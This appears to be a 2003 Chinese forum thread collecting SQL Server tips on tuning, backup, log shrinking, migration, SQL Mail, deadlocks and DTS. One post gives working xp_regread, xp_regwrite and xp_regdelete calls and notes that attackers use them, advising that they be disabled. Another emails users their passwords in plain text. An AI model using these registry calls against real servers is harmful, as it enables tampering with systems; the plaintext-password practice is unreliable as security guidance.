　　我们先来看数据缓存对性能的影响，如果系统中没有其它应用程序来争夺内存，数据缓存一般是越多越好，甚至有些时候我们会强行把一些数据pin在高速缓存中。但是如果有其它应用程序，虽然在需要的时候MSSQL会释放内存，但是线程切换、IO等待这些工作也是需要时间的，所以就会造成性能的降低。这样我们就必须设置MSSQL的最大内存使用。可以在SQL Server 属性（内存选项卡）中找到配置最大使用内存的地方，或者也可以使用sp_configure来完成。如果没有其它应用程序，那么就不要限制MSSQL对内存的使用。

　　然后来看查询的开销，这个开销显然是越低越好，因为我们不能从中得到好处，相反，使用了越多的内存多半意味着查询速度的降低。所以我们一般要避免中间表和游标的使用，在经常作关联和排序的列上建立索引。
作者: ccwlm741212 时间: 2003-12-15 14:24
数据库的备份与恢复
出处：中国电脑教育报
责任编辑：pcedu

[02-12-9 14:58]  作者：刘利强

内容搜索

  高级搜索


　　随着信息时代和互联网技术的飞速发展，企业的信息数据量也急剧增长。如何避免突如其来的数据破坏（如：黑客攻击、病毒袭击、硬件故障和人为误操作等），提高数据的安全性和数据恢复能力一直是用户和厂商关注的焦点。备份是恢复数据最容易和最有效的保证方法，备份应定期进行，并执行有效的数据管理。

　　Microsoft公司的SQL Server是一个功能完善的数据库管理系统，由于和Windows操作系统无缝结合，操作简便易行，应用十分广泛。下面来看一看基于NT的SQL Server 7.0的备份与数据恢复的有效方法。

　　针对服务器系统

　　由于数据库服务器中安装的系统较多，设置复杂，如出现硬件故障，则必须重装系统，恢复设置，因此有必要对数据库服务器进行备份。

　　1、使用NT Server提供的功能

　　在防止数据丢失方面，NT的磁盘管理器具有强大的功能，它支持RAID的第0、1、5级。其中RAID 1级是指把一个驱动器上的某一分区在另一个上建立一个镜像。进行写操作时，数据将向两个磁盘中写入同样的数据，读取时可以从两个磁盘同时读取。当驱动器损坏时，由它的镜像来进行恢复。

　　2、使用第三方备份工具

　　采用其他公司的备份软件来对服务器系统做备份。笔者常用的是Norton公司的磁盘备份工具——Ghost。该软件可以直接将磁盘上的某个分区或整个硬盘克隆成一个镜像文件，然后把它存放在别处，那么当该分区或硬盘出现问题甚至毁坏时，使用Ghost在另一硬盘或分区上，利用镜像文件快速还原。

　　针对SQL Server

　　1、在本地机上进行数据库备份

　　先确认SQL Server服务是否已经启动，如果没有启动，则使用SQL Server 7.0程序菜单中的“SQL Server Service Manager”进行启动，然后打开 “Enterprise Manager”，展开左边的SQL Server Group，展开SQL Server中的“Databases”，单击右键，在菜单中选择“所有任务”选项中的“Backup Database”子选项，出现如图1的数据库备份画面。

　　
　　图1
作者: ccwlm741212 时间: 2003-12-15 14:24
数据库的备份与恢复
出处：中国电脑教育报
责任编辑：pcedu

[02-12-9 14:58]  作者：刘利强

内容搜索

  高级搜索



　　选好要备份的数据库及备份方式后，单击[Add]按钮，在对话框中设置好存放目录及文件名，单击[OK]按钮。如果要设置定期自动备份，可在“Schedule”中设置，完毕后，单击[确定]按钮，数据库备份就开始执行了。

　　2、在本地机上进行数据库恢复

　　启动“Enterprise Manager”，展开其中的选项，选择“Databases”，单击右键，在对话框中选择“所有任务”选项中的“Restore Database”（如图2）。

　　
　　图2

　　单击[Select Devices]按钮，选择要恢复的数据库文件。选择完毕后，“Backup Number”选项将会变亮，选择最近的一次备份。然后单击[确定]，数据库恢复过程开始执行。

　　3、将数据库导出到网络上的另一台计算机上进行备份与恢复

　　先在网络上的另一台计算机上安装一个新的SQL Server，并启动它建立好数据库结构。然后在本机上启动“Enterprise Manager”，在左边的目录栏中选中“SQL Server Group”，单击右键，在对话框中选择“New SQL Server Registration”，进入注册向导，输入目标SQL Server的计算机名后，填写登录ID和密码，将目标SQL Server注册在本机的“SQL Server Group”中。然后选择“Databases”中需要备份的数据库标志，单击右键，在对话框选择“所有任务”中的“Export Data...”选项。在弹出“Date Transfer Services Export Wizard”的界面后，单击[下一步]按钮，选择需要备份的数据库，接着单击[下一步]按钮，选择目标服务器，选择SQL Server验证模式，填写用户名和密码，在“Database”一项中输入新的数据库名称(如图3)，单击[下一步]按钮，进入导出方式的界面，设置好之后，单击[下一步]按钮，在下面的步骤中一般选择默认选项，可以顺利完成数据库的导出操作了。

　　
　　图3

　　两个SQL Server中具有相同的数据库，当原来的数据库崩溃后，就可以直接启用另一个，只是修改一下计算机上ODBC数据源中所设置的SQL Server主机名称。
作者: ccwlm741212 时间: 2003-12-15 14:51
也谈如何缩小SQL SERVER日志文件
〖文章转载或出处〗≡中国电子技术信息网≡ 网址：www.CETINet.com
也谈如何缩小SQL SERVER日志文件

前几天也碰到日志文件过大的问题，数据库实际大小为600M, 日志文件实际大小为33M, 但日志文件占用空间为2.8G!!!
试了多种方式，SHIRNK DATABASE， TRUNCATE LOG FILE, 都没办法将文件缩小。无论如何，这应该算SQL SERVER的一个BUG吧。

后来找到下面的代码，就可以将日志文件缩小到自己想要的大小了。把代码COPY到查询分析器里，，然后修改其中的3个参数(数据库名，日志文件名，和目标日志文件的大小)，运行即可(我已经用过多次了)
-----
SET NOCOUNT ON
DECLARE @LogicalFileName sysname,
@MaxMinutes INT,
@NewSize INT

USE Marias -- 要操作的数据库名
SELECT @LogicalFileName = 'Marias_log', -- 日志文件名
@MaxMinutes = 10, -- Limit on time allowed to wrap log.
@NewSize = 100 -- 你想设定的日志文件的大小(M)

-- Setup / initialize
DECLARE @OriginalSize int
SELECT @OriginalSize = size
FROM sysfiles
WHERE name = @LogicalFileName
SELECT 'Original Size of ' + db_name() + ' LOG is ' +
CONVERT(VARCHAR(30),@OriginalSize) + ' 8K pages or ' +
CONVERT(VARCHAR(30),(@OriginalSize*8/1024)) + 'MB'
FROM sysfiles
WHERE name = @LogicalFileName
CREATE TABLE DummyTrans
(DummyColumn char (8000) not null)

DECLARE @Counter INT,
@StartTime DATETIME,
@TruncLog VARCHAR(255)
SELECT @StartTime = GETDATE(),
@TruncLog = 'BACKUP LOG ' + db_name() + ' WITH TRUNCATE_ONLY'

DBCC SHRINKFILE (@LogicalFileName, @NewSize)
EXEC (@TruncLog)
-- Wrap the log if necessary.
WHILE @MaxMinutes > DATEDIFF (mi, @StartTime, GETDATE()) -- time has not expired
AND @OriginalSize = (SELECT size FROM sysfiles WHERE name = @LogicalFileName)
AND (@OriginalSize * 8 /1024) > @NewSize
BEGIN -- Outer loop.
SELECT @Counter = 0
WHILE ((@Counter < @OriginalSize / 16) AND (@Counter < 50000))
BEGIN -- update
INSERT DummyTrans VALUES ('Fill Log')
DELETE DummyTrans
SELECT @Counter = @Counter + 1
END
EXEC (@TruncLog)
END
SELECT 'Final Size of ' + db_name() + ' LOG is ' +
CONVERT(VARCHAR(30),size) + ' 8K pages or ' +
CONVERT(VARCHAR(30),(size*8/1024)) + 'MB'
FROM sysfiles
WHERE name = @LogicalFileName
DROP TABLE DummyTrans
SET NOCOUNT OFF
作者: ccwlm741212 时间: 2003-12-15 14:52
ACCESS的数据库转化为SQL SERVER的数据库的几点体验
〖文章转载或出处〗≡中国电子技术信息网≡ 网址：www.CETINet.com
将ACCESS的数据库转化为SQL SERVER的数据库的几点体验

最近忙于将ACCESS的数据库转化为SQL SERVER的数据库的学习，从中摸索出几条经验，与大家分享.
1.ACCESS的数据库中的自动编号类型在转化时，sql server并没有将它设为自动编号型，我们需在SQL创建语句中加上identity，表示自动编号！
2.转化时，跟日期有关的字段，SQL SERVER默认为smalldatetime型，我们最好将它变为datetime型，因为datetime型的范围比smalldatetime型大。我遇见这种情况，用smalldatetime型时，转化失败，而用datetime型时，转化成功。
3.对此两种数据库进行操作的sql语句不全相同，例如：在对ACCESS数据库进行删除纪录时用："delete * from user where id=10",而对SQL SERVER数据库进行删除是用："delete user where id=10".
4.日期函数不相同，在对ACCESS数据库处理中，可用date()、time()等函数，但对
SQL SERVER数据库处理中，只能用datediff,dateadd等函数，而不能用date()、time()等函数。
5.在对ACCESS数据库处理中,sql语句中直接可以用一些VB的函数，像cstr()函数，而对SQL SERVER数据库处理中，却不能用。

以上是我实战中的经验，可能以后还会有更多，希望大家和我交流！
作者: ccwlm741212 时间: 2003-12-15 14:56
远程管理你的SQL数据的方法
www.chaog.com 2003-3-31  颖超网

1、在的你计算机上安装sql server2000数据库的软件(注意：相同版本的数据库系统）

2、点击开始 -- 程序 -- Microsoft SQL Server -- 客户端网络实用工具 -- 另名 -- 点击添加 --- 网络库选取TCP/IP;服务器别名:数据库服务器的IP;服务器名称:数据库服务器的IP;端口默认1433 -- 确定

3、点击开始 -- 程序 -- Microsoft SQL Server -- 企业管理器 -- Mouse点 Microsoft SQL Servers -- mouse右键点 Sql Server 组;点新的sql server 注册.... -- 下一步 -- 增加主机IP，下一步---选"系统管理员给我分配的SQL Server登录信息....".
下一步 -- 登录名:用户名、密码:密码、下一步 -- ……

4、联接成功后；请您找到您的数据库；你就可管理你的数据库。

注：不要越权哦。一般情况下你是只能看到别的数据库的名称而没有管理权限哦！！！
作者: ccwlm741212 时间: 2003-12-16 18:32
郁闷，看的人多，鼓掌的人一个也没有啊
作者: xzh2000 时间: 2003-12-17 14:55
哈哈,我扔個香雞蛋.
作者: 逗号 时间: 2003-12-17 16:16
标题: 我鼓掌
比吾辈高多矣，学习中
作者: xljiong 时间: 2003-12-17 17:41
标题: 我鼓掌
问一下有没有类似oracle里面对NULL的处理方法nvl()类似的函数。对于sql server 怎么解决这个问题的呢？
作者: ccwlm741212 时间: 2003-12-17 20:50
标题: Re: 我鼓掌
最初由 xljiong 发布
[B]问一下有没有类似oracle里面对NULL的处理方法nvl()类似的函数。对于sql server 怎么解决这个问题的呢？ [/B]

ISNULL()?
作者: lunggz 时间: 2003-12-19 00:08
不错！其实SQL SERVER板块分得再细一点！
这样灌水方便的多！
作者: lunggz 时间: 2003-12-19 00:10
我顶！
不错，要做成CHM文件贴一下，效果会好很多！
作者: 泥菩萨 时间: 2003-12-19 00:22
已经down下来慢慢地看。觉得这样一问一答的形式简单明了，学习起来方便多了。
谢谢！
作者: enhydraboy 时间: 2003-12-22 10:27
标题: SQL Server中全角和半角字符的比较问题
我也来凑个热闹。

sql server中全角和半角字符的比较问题.pdf

2003-12-22 10:27 上传

点击文件名下载附件

12.81 KB, 下载次数: 159

作者: ccwlm741212 时间: 2003-12-22 10:56
如何创建区分大小写的 SQL Server 2000 实例（安装程序）
创建区分大小写的 SQL Server 2000 实例

  1.. 运行 SQL Server 安装程序来安装"SQL Server 2000 组件"，并选择"安装数据
库服务器"，然后在 SQL Server 安装向导的"欢迎"屏幕上单击"下一步"按钮。

  2.. 在"计算机名"对话框中，"本地计算机"是默认选项，本地计算机名显示在编辑框
中。单击"下一步"按钮。

  3.. 在"安装选项"对话框中单击"创建 SQL Server 新实例或安装客户端工具"，然后
单击"下一步"按钮。

  4.. 按照"用户信息"和相关屏幕上的指导进行操作。

  5.. 在"安装定义"对话框中，单击"服务器和客户端工具"选项，然后单击"下一步"按
钮。

  6.. 在"实例名称"对话框中：
a.. 若要创建区分大小写的默认实例，请接受"默认"复选框并单击"下一步"按钮。

b.. 若要创建区分大小写的命名实例，请清除"默认"复选框并键入实例名称。
  7.. 在"安装类型"对话框中单击"自定义"选项，然后单击"下一步"按钮。

  8.. 在"选择组件"、"服务帐户"和"身份验证模式"对话框中，更改或接受默认设置，
然后单击"下一步"按钮。

  9.. 在"排列规则设置"对话框中有两个选项：
a.. 若要使 Windows 区域设置排序规则区分大小写，请选择"排列规则指示器"，
然后从列表中选择正确的排序规则指示器。清除"二进制"复选框，然后选择"区分大小
写"复选框。

b.. 若要使 SQL 排序规则区分大小写，请选择"SQL 排序规则"，然后键入正确的
排序规则名称。
  有关排序规则选项的更多信息，请单击"帮助"按钮。完成选项的设置后，请单击"下
一步"按钮。

  10.. 在随后出现的各对话框中，更改或接受默认设置，然后单击"下一步"按钮。

  11.. 在完成选项的指定后，请在"开始复制文件"对话框中单击"下一步"按钮。

  12.. 在"选择授权模式"对话框中，按照许可协议进行选择，然后单击"继续"按钮开
始安装。

  13.. 有关授权的信息，请单击"帮助"按钮或向系统管理员进行咨询。
作者: enhydraboy 时间: 2003-12-23 10:20
标题: SQLServer不存在或者访问拒绝
昨天遇到一个这样的问题。检查了服务器端和客户端都没有问题，防火墙设置也没有问题。排除了网络问题后，检查服务器端，发现这样的现象：
1 SQL Server占用的内存数达到700多兆，服务器物理内存是1G。
2 在服务器本机上，采用named pipe协议可以登陆服务器，而采用tcp协议不能登陆。

因此猜想，可能是内存资源不够，导致采用tcp/ip协议请求，服务器无法创建连接必须的内存。重起SQLServer服务后，正常了。
一般情况下，我们都是让SQL Server自动管理内存的，因此SQL Server会考虑操作系统需要的内存空间。反之，我们可以考虑自己手动设置SQL Server内存管理。
作者: ccwlm741212 时间: 2003-12-23 22:33
使用命名管道访问SQL Server

一、意义
　　SQL Server安装后缺省配置是允许客户端以TCP/IP协议来访问，用户只需要知道SQL Server账号的密码就可以访问，这样很不安全，因为很多WEB程序是直接把连接信息(数据库服务器、连接账号、连接密码)写在程序里面的，破坏者或黑客可以通过某些方法直接查看源代码获取SQL Server账号及密码，他们就可以直接用TCP/IP协议连接到该数据库服务器，对数据或配置进行修改甚至作破坏。使用命名管道时用户必须得具有访问SQL Server所在机器的资源以后才有可能访问SQL Server，如果用户没有访问资源的权限，即便他知道SQL Server账号密也连不上。

二、实现
　　１、服务器配置
　　　　打开SQL Server的Server Network Utility：“开始->程序->Microsoft SQL Server 7.0->Server Network Utility”，在“General”栏中，删除不必要的连接配置，然后按“Add...”增加一个Named Pipes连接：Network librarys选Named Pipes，Server name为服务器的机器名
　　２、客户机配置
　　　　打开SQL Server的Client Network Utility：“开始->程序->Microsoft SQL Server 7.0->Client Network Utility”，在“General”栏中，删除不必要的连接配置，然后按“Add...”增加一个Named Pipes连接：Network librarys选Named Pipes，Server alias为待连接的SQL Server所在服务器的机器名(局域网)或IP地址(广域网)
　　３、连接方法
　　　　可以分为两种情况：
　　　　Ａ、客户机已经登陆到服务器所在的域
　　　　　　客户机已经具有访问服务器资源的权限，可以直接连接SQL Server
　　　　Ｂ、客户机没有登陆到服务器所在的域
　　　　　　客户机不具备访问服务器资源的权限，可以在“开始->运行”中输入\\<服务器机器名或IP地址>，然后输入NT账号和密码，验证通过后客户机就具有访问服务器资源的权限，此时该客户机就可以连接SQL Server了
作者: ccwlm741212 时间: 2003-12-23 22:34
奉献给大家一些难点问题的解决方案：

前段时间费了九牛二虎之力，终于搞掂了SQL mail的配置与使用。 (ZT)
_Rambo要我整理出来有关的文档大家共享。
我就把我配置SQL mail的过程描述一遍。

我用SQL mail主要是要完成这样的功能：
>用户在网上注册后,系统将随机产生的密码发送到用户登记的Email
>用户在论坛的帖子有回复时将内容发送到用户的Email
因为上述过程都是在存储过程中完成的，所以避免了前台程序对参数的
传输处理，也不需要再用第三方的组件完成，感觉比较方便。

1.为了使用SQL mail,首先你的服务器上得有SMTP服务，我没有安装win2000 server自带的SMTP，而是用imail6.04的SMTP,感觉比较稳定，功能也比较强。
2.安装一个邮件系统,我安装了outLook 2000，我发现在配置邮件profile时，如果
不安装outLook而是用别的第三方程序，win2k中文server版在控制面板中就找不到“邮件”一项.
3.安装完outlook后再刷新控制面板,就会找到“邮件”一项，双击进行邮件的配置，为配置文件起一个名字(假设为myProfile)，以便以后SQL mail使用，在该配置文件中设置各项属性。
4.启动outlook(设置为用myProfile作为默认的配置文件),测试进行收发邮件，确认outlook工作正常。
5.用当前的域帐户启动SQL server,在企业管理器的支持服务中，点击SQL mail的属性，可以看到在配置文件选择中，出现了刚才定义的myProfile配置文件(你也可以定义多个profile)，选择这个配置文件进行测试，SQL将返回成功开始和结束一个MAPI会话的信息，如果出现错误或是没有找到邮件配置文件，那一定是你启动SQL server用的帐号有问题
6.现在你就可以在查询分析器中用XP_sendmail这个扩展存储过程发送SQL mail了，格式如下：
xp_sendmail {[@recipients =] 'recipients [;...n]'}
[,][@message =] 'message']
[,][@query =] 'query']
[,][@attachments =] attachments]
[,][@copy_recipients =] 'copy_recipients [;...n]'
[,][@blind_copy_recipients =] 'blind_copy_recipients [;...n]'
[,][@subject =] 'subject']
[,[@type =] 'type']
[,][@attach_results =] 'attach_value']
[,][@no_output =] 'output_value']
[,][@no_header =] 'header_value']
[,][@width =] width]
[,][@separator =] 'separator']
[,][@echo_error =] 'echo_value']
[,][@set_user =] 'user']
[,][@dbuse =] 'database']

其中@recipients是必需的

参数说明：

参数说明
@recipients 收件人，中间用逗号分开
@message 要发送的信息
@query 确定执行并依附邮件的有效查询，除触发器中的插入表及删除表外，此查询能引用任何对象
@attachments 附件
@copy_recipients 抄送
@blind_copy_recipients 密送
@subject 标题
@attach_results 指定查询结果做为附件发送
@no_header 不发送查询结果的列名
@set_user 查询联接的用户名，默认为Guset
@dbuse 查询所用的数据库，默认为缺省数据库

7.不过，如果是在web应用中使用SQL mail,还有一些问题要解决:首先，就是应用程序中连接数据库的帐号，我在网站程序中的数据库连接是使用UDL文件，帐号为DbGuest,这是一个普通帐户，所以还必须在master库的扩展存储过程找到XP_sendmail，并在其属性中增加DbGuest这个用户，并选择EXEC权限。
好了，现在设置完毕，运行网站程序，测试用户注册，几乎没有什么延迟，我测试用的邮箱中就收到了这封SQL mail发出的Email:
"谢谢你的注册，你的用户名是 [心歌],密码是 123456789,建议你首次登录后修改密码"

大功告成!看起来很简单的过程，却折腾了我一个星期!希望你能比我顺利.

不过，现在虽然能用SQLmail发送附件，附加数据库查询结
作者: ccwlm741212 时间: 2003-12-23 22:34
Stored Procedure（存储过程）编写经验和优化措施
一、前言：在经过一段时间的存储过程开发之后，写下了一些开发时候的小结和经验与大家共享，希望对大家有益，主要是针对Sybase和SQL Server数据库，但其它数据库应该有一些共性。

二、适合读者对象：数据库开发程序员，数据库的数据量很多，涉及到对SP（存储过程）的优化的项目开发人员，对数据库有浓厚兴趣的人。

三、介绍：在数据库的开发过程中，经常会遇到复杂的业务逻辑和对数据库的操作，这个时候就会用SP来封装数据库操作。如果项目的SP较多，书写又没有一定的规范，将会影响以后的系统维护困难和大SP逻辑的难以理解，另外如果数据库的数据量大或者项目对SP的性能要求很，就会遇到优化的问题，否则速度有可能很慢，经过亲身经验，一个经过优化过的SP要比一个性能差的SP的效率甚至高几百倍。

四、　　　　内容：

1、开发人员如果用到其他库的Table或View，务必在当前库中建立View来实现跨库操作，最好不要直接使用“databse.dbo.table_name”，因为sp_depends不能显示出该SP所使用的跨库table或view，不方便校验。

2、开发人员在提交SP前，必须已经使用set showplan on分析过查询计划，做过自身的查询优化检查。

3、高程序运行效率，优化应用程序，在SP编写过程中应该注意以下几点：

a)　　　　SQL的使用规范：

　　　　　　　　　　　　 i.　　　　　　　尽量避免大事务操作，慎用holdlock子句，提高系统并发能力。

　　　　　　　　　　　 ii.　　　　　　　尽量避免反复访问同一张或几张表，尤其是数据量较大的表，可以考虑先根据条件提取数据到临时表中，然后再做连接。

　　　　　　　　　　　iii.　　　　　　　尽量避免使用游标，因为游标的效率较差，如果游标操作的数据超过1万行，那么就应该改写；如果使用了游标，就要尽量避免在游标循环中再进行表连接的操作。

　　　　　　　　　　 iv.　　　　　　　注意where字句写法，必须考虑语句顺序，应该根据索引顺序、范围大小来确定条件子句的前后顺序，尽可能的让字段顺序与索引顺序相一致，范围从大到小。

　　　　　　　　　　　 v.　　　　　　　不要在where子句中的“=”左边进行函数、算术运算或其他表达式运算，否则系统将可能无法正确使用索引。

　　　　　　　　　　 vi.　　　　　　　尽量使用exists代替select count(1)来判断是否存在记录，count函数只有在统计表中所有行数时使用，而且count(1)比count(*)更有效率。

　　　　　　　　　　vii.　　　　　　　尽量使用“>=”，不要使用“>”。

　　　　　　　　　viii.　　　　　　　注意一些or子句和union子句之间的替换

　　　　　　　　　　 ix.　　　　　　　注意表之间连接的数据类型，避免不同类型数据之间的连接。

　　　　　　　　　　　 x.　　　　　　　注意存储过程中参数和数据类型的关系。

　　　　　　　　　　 xi.　　　　　　　注意insert、update操作的数据量，防止与其他应用冲突。如果数据量超过200个数据页面（400k），那么系统将会进行锁升级，页级锁会升级成表级锁。

b)　　　　索引的使用规范：

　　　　　　　　　　　　 i.　　　　　　　索引的创建要与应用结合考虑，建议大的OLTP表不要超过6个索引。

　　　　　　　　　　　 ii.　　　　　　　尽可能的使用索引字段作为查询条件，尤其是聚簇索引，必要时可以通过index index_name来强制指定索引

　　　　　　　　　　　iii.　　　　　　　避免对大表查询时进行table scan，必要时考虑新建索引。

　　　　　　　　　　 iv.　　　　　　　在使用索引字段作为条件时，如果该索引是联合索引，那么必须使用到该索引中的第一个字段作为条件时才能保证系统使用该索引，否则该索引将不会被使用。

　　　　　　　　　　　 v.　　　　　　　要注意索引的维护，周期性重建索引，重新编译存储过程。

c)　　　　tempdb的使用规范：

　　　　　　　　　　　　 i.　　　　　　　尽量避免使用distinct、order by、group by、having、join、cumpute，因为这些语句会加重tempdb的负担。

　　　　　　　　　　　 ii.　　　　　　　避免频繁创建和删除临时表，减少系统表资源的消耗。

　　　　　　　　　　　iii.　　　　　　　在新建临时表时，如果一次性插入数据量很大，那么可以使用select into代替create table，避免log，提高速度；如果数据量不大，为了缓和系统表的资源，建议先create table，然后insert。

　　　　　　　　　　 iv.　　　　　　　如果临时表的数据量较大，需要建立索引，那么应该将创建临时表和建立索引的过程放在单独一个子存储过程中，这样才能保证系统能够很好的使用到该临时表的索引。

　　　　　　　　　　　 v.　　　　　　　如果使用到了临时表，在存储过程的最后务必将所有的临时表显式删除，先truncate table，然后drop table，这样可以避免系统表的较长时间锁定。

　　　　　　　　　　 vi.　　　　　　　慎用大的临时表与其他大表的连接查询和修改，减低系统表负担，因为这种操作会在一条语句中多次使用tempdb的系统表。

d)　　　　合理的算法使用：

根据上面已提到的SQL优化技术和ASE Tuning手册中的SQL优化内容,结合实际应用,采用多种算法进行比较,以获得消耗资源最少、效率最高的方法。具体可用ASE调优命令：set statistics io on, set statistics time on , set showplan on 等。
作者: ccwlm741212 时间: 2003-12-23 22:34
关于SQL Server中几个未公布的访问注册表的扩展存储过程
SQL Server中包含了几个可以访问系统注册表的扩展存储过程.但实际上这几个扩展存储过程是未公开的,从sql server 7.0就有了,
在SQL server 2000中仍然保留,他们以后可能会删除.但是这几个存储过程却提供了在当前的SQL Server版本中访问系统注册表的能力,
而且很多人利用SQL Server来进行攻击系统时,往往都会用到这几个扩展存储过程.所以最好在SQL Server中禁用他们.

xp_regenumvalues 以多个记录集方式返回所有键值
使用方法:
xp_regenumvalues 注册表根键, 子键
比如说,想看看HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 的所有键值:
use master
exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run'

xp_regread 返回制定键的值
使用方法:
xp_regread 根键,子键,键值名
use master
exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir'

xp_regwrite 写入注册表
使用方法:
xp_regwrite 根键,子键, 值名, 值类型, 值
use master
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello'
注意值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型

xp_regdeletevalue 删除某个值
使用方法:
xp_regdeletevalue 根键,子键,值名
use master
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName'

xp_regdeletekey 删除键,包括该键下所有值

使用方法:
use master
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'
作者: ccwlm741212 时间: 2003-12-23 22:37
问：如何在不区分大小写的 SQL Server 7.0 实例上编写能够对用户输入密码进行大小写比较的程序？
答：如果已经将系统升级为 SQL Server 2000，则可以在列级别指定数据排序规则。（SQL Server 2000 Books Online 词汇表将排序规则定义为“一组确定如何比较、排列和呈现数据的规则。字符数据是使用排序规则存储的，这些规则包括区域设置、排序标准和区分大小写”。）

但是，只有升级到 SQL Server 2000，您才可以使用上述技术。假设存储在表中的密码值为 BamBi2000（注意“B”是大写，其他所有字符都是小写）：

DECLARE @user_password varchar(12)

IF CAST (@user_password AS varbinary(12)) =
CAST ('BamBi2000' AS varbinary(12))
PRINT 'Password match'
ELSE
PRINT 'Password mismatch'
作者: ccwlm741212 时间: 2003-12-23 22:37
如何在视图中使用ORDER BY短语
一般在视图中使用Order by是无效的，除非使用了Top关键字，那么我们可以用Top 100 percent来欺骗SQL的语法分析器。
USE pubs
GO

CREATE VIEW AuthorsByName
AS
SELECT TOP 100 PERCENT *
FROM authors
ORDER BY au_lname, au_fname
GO
作者: ccwlm741212 时间: 2003-12-23 22:38
关于DTS导入导出丢失默认值等对象
使用DTS向导在SQL SERVER之间或两个数据库之间进行数据导入导出按默认值配置，则只导入导出表对象以及视图对象，象其他的比如默认值、存储过程等对象可能丢失，如果希望所有的数据库对象都在导入导出之列，请在DTS向导过程中选择“在SQL SERVER数据库复制对象和数据”，接下来就可以选择各个对象进行导入导出了

但要注意，在导的过程中容易出错，可能是由于对象创键的顺序造成的，如果出错建议分多次导，导的顺序可以为：自定义数据类型，表，视图，默认值，约束，自定义函数，存储过程等
作者: ccwlm741212 时间: 2003-12-23 22:38
总结 SQL Server 中死锁产生的原因及解决办法
其实所有的死锁最深层的原因就是一个:资源竞争
表现一:
一个用户A 访问表A(锁住了表A),然后又访问表B
另一个用户B 访问表B(锁住了表B),然后企图访问表A
这时用户A由于用户B已经锁住表B，它必须等待用户B释放表B,才能继续，好了他老人家就只好老老实实在这等了
同样用户B要等用户A释放表A才能继续这就死锁了
解决方法：
这种死锁是由于你的程序的BUG产生的，除了调整你的程序的逻辑别无他法
仔细分析你程序的逻辑，
1：尽量避免同时锁定两个资源
2: 必须同时锁定两个资源时，要保证在任何时刻都应该按照相同的顺序来锁定资源.

表现二:
用户A读一条纪录，然后修改该条纪录
这是用户B修改该条纪录
这里用户A的事务里锁的性质由共享锁企图上升到独占锁(for update),而用户B里的独占锁由于A有共享锁存在所以必须等A释
放掉共享锁，而A由于B的独占锁而无法上升的独占锁也就不可能释放共享锁，于是出现了死锁。
这种死锁比较隐蔽，但其实在稍大点的项目中经常发生。
解决方法:
让用户A的事务（即先读后写类型的操作),在select 时就是用Update lock
语法如下：
select * from table1 with(updlock) where ....
作者: ccwlm741212 时间: 2003-12-23 22:39
数据变换和转换注意事项
使用数据转换服务 (DTS) 转变或转换异类数据和目的服务器之间的数据之前，请考虑不同程序、提供程序以及驱动程序支
持数据类型和 SQL 语句的方式的变化。

当使用 Microsoft® SQL Server™ 作为数据源时，请考虑下列事项：

将 real 数据类型转换为 int 数据类型也许不能返回精确的值，因为 SQL Server 2000 只支持精确度为 6 位数字的
real 数据类型。例如，real 型数字 2147480000 可能生成 2147480065 的 int 值。

从一个文本文件将 string (DBTYPE_WSTR) 列转换为 date (DBTYPE_DATE) 或 time (DBTYPE_TIME) 列时，OLE DB 数据转
换服务组件只接受一种日期或时间格式 (yyyy-mm-dd hh:mm:ss.fffffffff)。使用日期时间字符串转换，或者使用 CDate
函数编码 Microsoft ActiveX® 脚本转换正确地转换日期。

SQL Server 2000 不支持 OLE DB 类型 DBTYPE_DATE 或 DBTYPE_TIME。SQL Server 2000 只支持 DBTYPE_DATETIME。

若要通过多步骤访问数据，请避免在转换过程中使用 temp 表。应使用全局 temp 表或在 tempdb 中创建永久表。

从 temp 表返回行的存储过程不能用作转换源。可以使用存储过程从全局 temp 表或表返回行。

在转换数据任务、数据驱动的查询任务或 DTS 设计器中的执行 SQL 任务中使用临时表时，请记住：不能使用 Transact-
SQL 语句或调用 temp 表的存储过程作为源。
该限制并不应用于 DTS 设计器的外部。可使用通过编程方式访问 SQL Server temp 表的源语句或存储过程。

DTS 导入/导出向导和 DTS 设计器
当使用 DTS 导入导出向导和 DTS 设计器创建包时，请考虑以下事项：

DTS 用户界面允许共享任务中现有的连接，但是同一个连接不能既用在一个转换的源中又用在该转换的目的中。

使用 DTS 设计器或 DTS 导入/导出向导，有可能为一些只作为数据源的提供程序指定只读或正在使用状态（例如，
Microsoft Access 和 ODBC DSN ）。单击"连接属性"对话框中的"高级"选项卡，然后在"高级连接属性"对话框中，将模式
属性值设置为 1。

使用 DTS 导入/导出向导或 DTS 设计器创建表时，在目的地上创建的表的所有者为当前用户（通常是 dbo），与谁是源表
的所有者无关。这将产生这种情况：dbo 试图在目的地创建一个表，而该表的名称已经存在，从而导致尝试失败。

当使用 DTS 设计器定义数据驱动的查询时，数据目的地必须能够支持 OLE DB ICommand 接口。由于这种限制，类似文本
文件的目的不被支持。

如果 text、ntext 和 image 类型的字段长度超过 8388602 字节，则 DTS 的复制 SQL Server 对象任务将截断超出的部
分。DTS 设计器或 DTS 导入/导出向导不显示任何错误信息，而是显示任务已成功完成。
唯一的失败指示是一条写入日志文件的日志消息，此文件的名称为 <server>.<database>.log，位于"复制 SQL Server 对
象任务属性"对话框的"复制"选项卡所指定的脚本文件目录中。此日志消息详细说明表和列，但不指出发生截断的行。无任
何错误记录写入 DTS 错误文件或 SQL Server 日志。

Microsoft SNA Server
当使用 Microsoft SNA Server 作为数据源时，请考虑下列事项：

AS/400 和 VSAM 的 Microsoft OLE DB 提供程序不支持 DTS 导入/导出向导用来创建或截断表的 SQL 语句。
Microsoft Access
使用 Access 时，应考虑下列事项：

当从 SQL Server 2000 中将数据导出到 Microsoft Access 97 或更早的版本中，Access 的 Microsoft OLE DB 提供程序
在内存中为所有插入设置缓冲区，并且只在 DTS 导入/导出向导完成操作时提交它们。结果是，可以在导出大量表时，面
对内存较小的形势。然而，可以通过构造在多个传递中发送较少行数的 SELECT 语句解决该问题。
Microsoft Visual FoxPro
